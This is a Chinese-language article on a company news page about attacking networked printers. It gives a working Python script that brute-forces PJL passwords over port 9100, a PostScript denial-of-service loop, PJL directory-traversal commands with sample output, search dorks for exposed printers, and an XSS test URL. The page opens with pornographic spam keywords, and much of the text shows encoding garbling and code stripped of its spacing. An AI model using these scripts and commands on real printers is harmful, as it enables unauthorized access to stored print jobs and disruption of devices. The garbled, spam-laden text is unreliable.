精选国产在线观看一区二区三区_日韩av大片在线一区二区_欧美日韩v在线观看不卡_日本无遮挡色又黄的视频在线_黄片免费在线AAA_午夜视频欧美亚洲污污污_国产精品自拍第一区_无码免费三级少妇_人妻系列影片无码专区50_蘑菇成年人午夜福利

行業(yè)新聞

您當(dāng)前的位置:首頁 > 新聞資訊 > 行業(yè)新聞

不可忽視的打印機漏洞研究

發(fā)布源:深圳維創(chuàng)信息技術(shù)發(fā)布時間:2020-10-27 瀏覽次數(shù):

一、前言經(jīng)過最近一段時間測試,發(fā)現(xiàn)企業(yè)內(nèi)網(wǎng)打印機存在多種數(shù)據(jù)泄露漏洞,同時也經(jīng)常被大家所忽略,因此才有本文的研究。

當(dāng)一臺打印機連接網(wǎng)絡(luò),可以進行端口掃描、讀寫上傳惡意文件、反彈shell,相當(dāng)于一臺服務(wù)器。

常見攻擊,信息泄露,如訪問內(nèi)存,可能發(fā)現(xiàn)密碼或打印文件中的敏感數(shù)據(jù),訪問文件系統(tǒng),泄露配置文件或存儲的打印作業(yè);DOS;遠(yuǎn)程代碼執(zhí)行漏洞RCE,通過緩沖區(qū)溢出漏洞,構(gòu)造惡意數(shù)據(jù)包,使打印機執(zhí)行惡意代碼,將固件更新為含有惡意的固件;打印任務(wù)控制,修改打印內(nèi)容等。

二、打印機語言在研究打印機前有必要熟悉打印語言,網(wǎng)上各種介紹打印機語言,大家看的會比較混亂,比如有時候是打印機描述語言,有時候又叫打印機控制語言。

下面以本人的理解去介紹打印機語言,其實打印機語言按分類是有兩類,一種是頁面描述語言(PDL),另一種是嵌入式語言(Escape碼語言),而HP的PCL控制語言和PostScript(以下簡稱 PS)都屬于PDL頁面描述語言。

1. PS與PCL介紹PS、PCL等打印語言其實是一個命令集,它告訴打印機如何組織被打印的文檔。

打印機驅(qū)動程序把這些命令嵌在打印數(shù)據(jù)中傳給打印機,而不是單獨傳送,并由打印機的打印控制器再分開解釋。

PCL網(wǎng)上介紹的都差不多,PCL對計算機系統(tǒng)資源占用也較少,同時對字庫、圖像的解釋能力較強等,關(guān)鍵還是把本文前面部分弄懂,否則會很混亂,不利于對打印機的漏洞研究。

2. 對比PCL在處理文本、文檔方面比較出色(已支持圖形功能),速度明顯,但是打印質(zhì)量與PS差距不大,PS在處理打印大的文件,如PDF、Photoshop等軟件下打印大的圖形圖像文件有速度優(yōu)勢,準(zhǔn)確度、色彩方面比PCL強。

所以 PCL語言適用于普通的商務(wù)辦公應(yīng)用,PS適用于對圖形和色彩準(zhǔn)確度要求比較高的專業(yè)應(yīng)用。

3. 工作流程在計算機上將打印內(nèi)容位圖格式解釋成標(biāo)準(zhǔn)的頁面描述文件,為PostScript、PCL等格式,這種文件被傳到打印機的控制器中,控制器將頁面描述文件,發(fā)送給光柵圖像處理器 (Raster Image Processor),把PostScript、PCL格式解釋成位圖格式,打印機才可以打印位圖格式的圖像。

4. PJL打印任務(wù)語言(PJL)用于指導(dǎo)打印機行為,利用PJL語言可以對打印任務(wù)執(zhí)行管理性的更改設(shè)置,對打印文件形成有限管理控制,例如,在打印機文件系統(tǒng)下用戶不經(jīng)常留意的以下特定位置中,它可對打印文件執(zhí)行存儲刪除操作。

其它打印機語言是PCL的擴展,如打印機作業(yè)語言PJL是 PCL的擴展,用于控制打印機的行為,上面提到PCL只處理內(nèi)容,擴展的PJL則可以永久性的修改設(shè)備的設(shè)置,如印紙張大小和數(shù)量。

而 PJL可以被用來執(zhí)行DoS攻擊、打印頁面控制、讀取文件系統(tǒng)和內(nèi)存,甚至惡意固件更新。

供應(yīng)商往往只支持PJL 控制語言中的部分命令,并根據(jù)打印機的需要自行添加專有的功能。

5. PPDPS、PCL都是一種與設(shè)備無關(guān)的打印機語言,它們只處理打印的內(nèi)容,而與設(shè)備相關(guān)的分辨率、紙張大小它們不處理。

PS 、PCL可以將打印內(nèi)容解釋成頁面描述文件,這個文件會被控制器解析并打印。

但是對譬如分辨率、紙張大小、進紙盒進行選擇時,調(diào)用的是打印機描述(PostScript Printer Description ,即PPD)文件來實行各種打印機的不同特性,PS、PCL 語言在打印的時候,即定義圖像時根本不用去考慮打印機的分辨率、紙張大小,由打印機的PPD文件來決定,給處理字體帶來了極大的靈活性。

PPD文件主要提供以下與打印機有關(guān)的特定信息::默認(rèn)/ 最高分辨率,是否支持半色調(diào)監(jiān)控,用戶設(shè)定的監(jiān)控信息,頁面大小定義,頁面可打印區(qū)域,默認(rèn)字體(通常為Courier),是否支持雙面打印等等。

每一種不同的 PostScript打印機都分別對應(yīng)有專門的PPD文件。

關(guān)于PostScript仿真,因為目前使用PostScrit語言需要向 Adobe公司支付一筆費用,成本較高,因此才有與PostScript完全兼容的PostScript仿真,像 HP公司的一些激光打印機中使用的PostScript仿真,也無需再支付Adobe公司相應(yīng)的費用。

6. 利用PS可以用于各種攻擊,例如拒絕服務(wù),打印作業(yè)處理和保留以及訪問打印機的文件系統(tǒng)等惡意操作。

打印機指令語言PCL很難被攻擊利用,該頁面描述語言不直接訪問底層文件系統(tǒng),因此和PS相比,該描述語言并不是很適合用于攻擊的目的,不過PCL的擴展PJL容易受到攻擊,下文基本上是基于PJL。

三、 探測打印機1. namp-A 192.168.1.*主要查看開放哪些端口,并檢測操作系統(tǒng)指紋,一般開放如下端口、服務(wù)為打印機:2. Savins打印機發(fā)現(xiàn)SmartDeviceMonitor工具,可以搜索Savins打印機,去官網(wǎng)下載:3. JetDirect打印機JetAdminJetAdmin可用來控制、搜索JetDirect打印機,可快速找出子網(wǎng)中的JetDirect打印機,它通過SNMP廣播網(wǎng)絡(luò)來定位打印機。

4. ARP協(xié)議掃描NMAP、Cain,通過MAC地址發(fā)現(xiàn) Hewlett Packard、Ricoh或其它廠商的MAC地址。

nmap-R192.168.1.0/245. 谷歌搜索打印機的WEB登陸鏈接放置在內(nèi)網(wǎng)站點上,易于他們管理或存儲文檔,但有時內(nèi)網(wǎng)并不是真正處于內(nèi)網(wǎng)中,但可以通過互聯(lián)網(wǎng)訪問到。

Ricoh Savins(由于打印機頻繁地存儲文檔,導(dǎo)致被下載,這確實是一個真正的安全殺手):intitle:"webimagemonitor""/web/user/en/websys/webArch/mainFrame.cgi"inurl:"/en/sts_index.cgi"HPJetdirects(各型號均不相同)inurl:hp/device/this.LCDispatcherCUPSConnectedPrintersinurl:":631/printers"-php-demo6. 其它搜索shodan搜索,device:printer。

鐘馗之眼搜索,service:”jetdirect”。

四、漏洞挖掘

1. PJL密碼爆破若打印機的9100端口向公網(wǎng)開啟,在向打印機發(fā)送PJL指令之前需要對使用者的身份進行認(rèn)證,認(rèn)證程序的密鑰長度為2字節(jié)(Byte),通過爆破可以將 PJL 的密碼安全保護禁用,最終執(zhí)行任意PJL命令。

如果直接通過9100端口執(zhí)行PJL命令,說明存在未授權(quán)訪問。

PJL是打印控制語言PCL的擴展。

文章前面部分已經(jīng)介紹過,這里是針對認(rèn)證PJL的爆破,否則無法使用PJL命令。

危害:通過 PJL 除了能夠查看和更改打印機狀態(tài)之外,還可以對打印機內(nèi)置的文件系統(tǒng)進行訪問,進而可繞過密碼驗證通過 PJL 對打印機內(nèi)置的文件系統(tǒng)進行讀寫。

文件系統(tǒng)包含后臺處理打印作業(yè)、收到的傳真、日志文件和配置文件。

9100端口一般為JetDirect的端口,JetDirect雖然是惠普設(shè)計的,但是眾多打印機都使用該軟件,包括Canon、Lexmark、Samsung和Xerox。

該軟件負(fù)責(zé)處理通過網(wǎng)絡(luò)提交的打印請求。

網(wǎng)絡(luò)打印機通過JetDirect協(xié)議,偵聽,接收打印請求數(shù)據(jù)。

如下是PJL密碼存儲格式:@PJLJOBPASSWORD=0@PJLDEFAULTPASSWORD=12345@PJLDEFAULTDISKLOCK=ON@PJLDEFAULTCPLOCK=ON可通過 內(nèi)存和文件系統(tǒng)讀取獲取密碼,或暴力破解。

爆破代碼python3如下:importsocketimportsysdefmain():iflen(sys.argv)<=1:print('Parameterserror')returns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.settimeout(10)s.connect((sys.argv[1],9100))s.settimeout(None)#發(fā)送讀取設(shè)備ID的PJL指令s.send(('33%-12345X@PJLINFOID\r\n33%-12345X\r\n').encode('UTF-8'))print(s.recv(1024).decode('UTF-8'))foriinrange(1,65536):buf=b''#發(fā)送重置密碼的PJL指令s.send(('33%-12345X@PJL\r\n@PJLJOBPASSWORD='+str(i)+'\r\n@PJLDEFAULTPASSWORD=0\r\n@PJLEOJ\r\n33%-12345X\r\n').encode('UTF-8'))ifi%30==0:#發(fā)送查詢密碼保護狀態(tài)的PJL指令s.send(('33%-12345X@PJL\r\n@PJLDINQUIREPASSWORD\r\n33%-12345X\r\n').encode('UTF-8'))whileTrue:buf+=s.recv(1)print(buf)try:buf.index(b'\r\n\x0c')try:#密碼保護被禁用buf.index(b'DISABLED')print('passworddisabledok!')#發(fā)送查詢目錄的PJL指令s.send(('33%-12345X@PJL\r\n@PJLFSDIRLISTNAME="0:\\"ENTRY=1COUNT=99\r\n33%-12345X\r\n').encode('UTF-8'))buf=b''whileTrue:buf+=s.recv(1)print(buf)try:buf.index(b'\r\n\x0c')try:#查詢成功buf.index(b'ENTRY')print('PoCOK!')returnexceptValueError:print('PoCNO!')returnexceptValueError:continueexceptValueError:print('passworddisabledfaild!')finally:s.close()returnexceptValueError:continues.close()if__name__=='__main__':main()pft使用此腳本爆破:返回password disabled ok!,說明成功禁用PJL密碼保護。

此腳本先爆破PFT密碼保護,如果爆破成功,然后執(zhí)行查詢磁盤的PJL命令,當(dāng)然也可只用PFT工具,文章后面部分會講PFT。

2. DOS當(dāng)向打印機9100端口發(fā)送任何數(shù)據(jù),打印機都可將其打印出來,文章前部分發(fā)現(xiàn),9100端口還支持原始打印、PCL、PostScript和PJL,即可以通過9100端口執(zhí)行PJL。

當(dāng)執(zhí)行DOS,則可無限循環(huán)打印任務(wù),導(dǎo)致打印任務(wù)不斷執(zhí)行,資源耗盡,無法執(zhí)行打印操作。

按個人理解簡單點說,就是當(dāng)發(fā)起打印任務(wù)時,打印機等任務(wù)發(fā)起結(jié)束,才會執(zhí)行下一步的打印操作,如果一直循環(huán)打印任務(wù),則無法到達下一步。

通過幾行PostScript代碼實現(xiàn)DOS。

PS代碼實現(xiàn)的循環(huán):%!{}loop3. 路徑遍歷漏洞-案例分析這不是針對某個型號的漏洞,算是打印機的一個通用漏洞,可以通過../等進行目錄穿越,對文件進行讀取和寫入,不過并不是所有的目錄文件都可讀寫,當(dāng)發(fā)現(xiàn)無法讀寫時,可繼續(xù)切換其它目錄測試,可能存在可讀寫的文件,從而泄露敏感文件,如“Jobs”目錄中存儲的就是打印任務(wù),可以通過PFT 、PRET工具包讀取存儲在其中的任何打印任務(wù)。

如果允許 PJL 命令訪問該設(shè)備的文件系統(tǒng),遠(yuǎn)程攻擊者可以借助 PJL 讀取任意文件,遠(yuǎn)程連接打印機并進行遍歷目錄操作。

這里借用個人之前的案例演示,通過9100端口執(zhí)行PJL命令,并且未授權(quán)訪問打印機。

在學(xué)習(xí)之前,需要熟悉PJL命令。

如下是本人對PJL命令的整理:@PJLFSDELETENAME=“pathname”[<CR>]<LF>#刪除文件@PJLFSDOWNLOADFORMAT:BINARY[SIZE=int][<CR>]<LF>#下載文件到打印機@PJLFSINITVOLUME=“pathname”[<CR>]<LF>#初始化打印機文件系統(tǒng)@PJLFSMKDIRNAME=“pathname”[<CR>]<LF>#創(chuàng)建目錄@PJLDINQUIRECPLOCK#檢查控制面板狀態(tài)@PJLDINQUIREPASSWORD#檢查密碼保護狀態(tài)@PJLJOBPASSWORD=[Number:0to65535]#當(dāng)前密碼保護密碼@PJLDEFAULTPASSWORD[Number:0to65535]#修改保護密碼@PJLDEFAULTCPLOCK=[ON,OFF]#控制面板狀態(tài)@PJLSETIOBUFFER=[ON,OFF,AUTO]#設(shè)置緩沖區(qū)@PJLSETIOSIZE=[10-100]#設(shè)置緩存區(qū)大小@PJLSETPCNAME=[String]#設(shè)置計算機名稱@PJLSETHOLD=[ON,JOB,STORE,PROOF]#設(shè)置文件保存@PJLSETHOLDKEY=[Number:0000to9999]#設(shè)置保存文件密碼@PJLDEFAULTDISKLOCK=[ON,OFF]#設(shè)置硬盤鎖定狀態(tài)@PJLSETSPOOLTIME#設(shè)置打印日期@PJLSETCOPIES#設(shè)置打印數(shù)@PJLSETJOBNAME#設(shè)置打印機文件名稱@PJLSETRESOLUTION#設(shè)置分辨率@PJLSETDRIVERNAME#設(shè)置驅(qū)動@PJLUSTATUSJOB#輸出隊列中還未打印任務(wù)的狀態(tài)@PJLCOMMENT#添加注釋@PJLSETOUTTRAY#出紙盤(紙張輸出位置)@PJLSETORIENTATION=[PORTRAIT,LANDSCAPE]#頁面方向@PJLSETDUPLEX=[ON,OFF]#雙工模式(雙面打印)@PJLSETBINDING=[LONGEDGE,SHORTEDGE]#雙工模式:短邊、長邊@PJLRNVRAMADDRESS#讀取內(nèi)存@PJLOPMSGDISPLAY#設(shè)置打印機離線脫機@PJLSETSERVICEMODE#設(shè)置服務(wù)模式@PJLWNVRAMADDRESS#寫入內(nèi)存@PJLFSDIRLISTNAME#讀取目錄@PJLFSQUERYNAME#讀取文件@PJLFSUPLOADNAME#文件上傳@PJLFSDOWNLOAD#寫入文件(1) @PJL FSDIRLIST NAME=”0:/” ENTRY=1 COUNT=1024上圖發(fā)現(xiàn)目錄名稱是 0:/,有兩個目錄,一個是本地目錄./,一個是../目錄。

(2) 讀取 ../ 目錄,發(fā)現(xiàn)其下有7個,./代表本目錄@PJLFSDIRLIST NAME=”0:/../” ENTRY=1 COUNT=1024發(fā)現(xiàn)有:.TYPE=DIR..TYPE=DIRDataTYPE=DIRJobsTYPE=DIRTempTYPE=DIRBrowserTYPE=DIRPDLTYPE=DIR(3) 讀取Data目錄發(fā)現(xiàn)有Data、jobs目錄,這里演示訪問其下的Data目錄,發(fā)現(xiàn)Data目錄存在這些目錄文件。

@PJLFSDIRLIST NAME=”0:/../data” ENTRY=1 COUNT=1024發(fā)現(xiàn)Data目錄存在這些目錄文件:.TYPE=DIR..TYPE=DIRDataContractTYPE=DIRCustomerDataDBTYPE=DIR總結(jié):目錄遍歷除了可讀取文件之外,還可寫入,但是并不是所有的文件都可寫入,尋找可寫入的文件,如向啟動腳本寫入代碼,重啟即可執(zhí)行代碼反彈shell,這里我當(dāng)時時間有限,遍歷幾個目錄沒有發(fā)現(xiàn)啟動腳本,不然只要可寫入就能反彈shell。

路徑遍歷案例:中國移動某省公司打印機未授權(quán)訪問已成功下載移動內(nèi)部資料(保密承諾書?)https://www.secpulse.com/archives/33663.html4. PFT工具根據(jù)文章前面部分,也大概知道了打印機攻擊是基于打印機語言命令,如輸入PJL命令造成相關(guān),需要掌握PJL命令,輸入PJL命令比較麻煩,這里有一個強大的打印機框架工具PFT, 而使用PFT工具可以無需掌握PJL命令,每一個參數(shù)已內(nèi)置打印機語言,只需要調(diào)用對應(yīng)參數(shù)來利用,配合help查看。

使用教程:(1) PFT連接到打印機pft>server192.168.15.200Serversetto192.168.15.200pft>port9100Portsetto9100pft>connectConnectedto192.168.15.200:9100Device:hpLaserJet4250(2) PFT清除PJL程序保護清除成功之后,也能登錄web控制臺頁面。

pft>envbruteforcetry30INFO:force_recv_clear()timedoutfor270bytes(10sec)Passworddisabledsuccessfully(3) 查看硬盤文件一般高級的打印機會有硬盤,如下命令查看有哪些盤符。

pft>volumesVolumeSizeFreeLocationLabelStatus0:1261977611786240RAM?READ-WRITE(4) ls查看文件pft>ls0:\.-d..-dPostScript-dPJL-dsaveDevice-dwebServer-d(5) 將文件下載到本地get 文件名5. HP JetDirect打印機存儲型XSS攻擊者必須訪問HP鐳射打印機配置頁面,”Product_URL”和”Tech_URL”參數(shù) 存在漏洞,對應(yīng)CVE號:CVE-2012-3272。

點擊WEB的“支持信息” 連接,按如下輸入:點擊“Apply”按鈕,跳轉(zhuǎn)到支持頁面中(support.htm),出現(xiàn)彈框。

測試方法:http://[server]/support_param.html/config?Admin_Name=&Admin_Phone=&Product_URL=[XSS]&Tech_URL=[XSS]&Apply=Apply6. 打印控制任務(wù)PERT連接到打印機,并嘗試?yán)么蛴C所使用的打印機語言(目前支持PS,PJL和PCL),如python pret.py IP PS可嘗試調(diào)用打印機PS語言進行操作,一旦使用PRET連接到打印機中的一個功能,我們將可以做很多事情。

例如檢查文件系統(tǒng),創(chuàng)建目錄,更改配置文件、dump整個NVRAM。

如輸出打印“Foo”,執(zhí)行cross topsecret Foo:打印如下:7. 固件漏洞如果打印機不存在PJL命令執(zhí)行漏洞,可針對固件漏洞測試,通過nmap發(fā)現(xiàn)固件版本,Linux_Exploit_Suggester.pl查詢內(nèi)核版本漏洞。

nmap掃描出如下:執(zhí)行perl Linux_Exploit_Suggester.pl -k 2.6.31:PS:該工具只能查詢內(nèi)核3.4.4之前的漏洞信息。

github下載:https://github.com/IntepSecureLabs/Linux_Exploit_Suggester五、總結(jié)從打印機語言到PJL命令執(zhí)行等漏洞分析,包括打印機挖掘思路以及案例分析,總結(jié)了目前常見的打印機數(shù)據(jù)泄露漏洞,其它的高級應(yīng)用也是基于這些原理基礎(chǔ)上,這里不講PRET工具使用,網(wǎng)上有很多PRET使用教程。

需要提醒一下,大家不要隨便亂用工具來掃打印機,否則會打印出很多請求數(shù)據(jù)包,浪費大量的紙張。

因為這些腳本在端口9100/tcp檢測系統(tǒng)版本時,會發(fā)送探針請求,判斷9100上運行的是何種服務(wù),由于JetDirect并不知道它發(fā)送的是什么數(shù)據(jù),因此會打印出探測報文,最后會打印出一堆垃圾數(shù)據(jù)。


  • 上一篇:網(wǎng)紅、大V、明星的隱私信息大量被泄露數(shù)據(jù)!
  • 下一篇:數(shù)據(jù)泄密案件逐年上升,企業(yè)文件泄密怎么辦?
  • Copyright © 2021 深圳市維創(chuàng)信息技術(shù)有限公司 版權(quán)所有

    粵ICP備2021016007號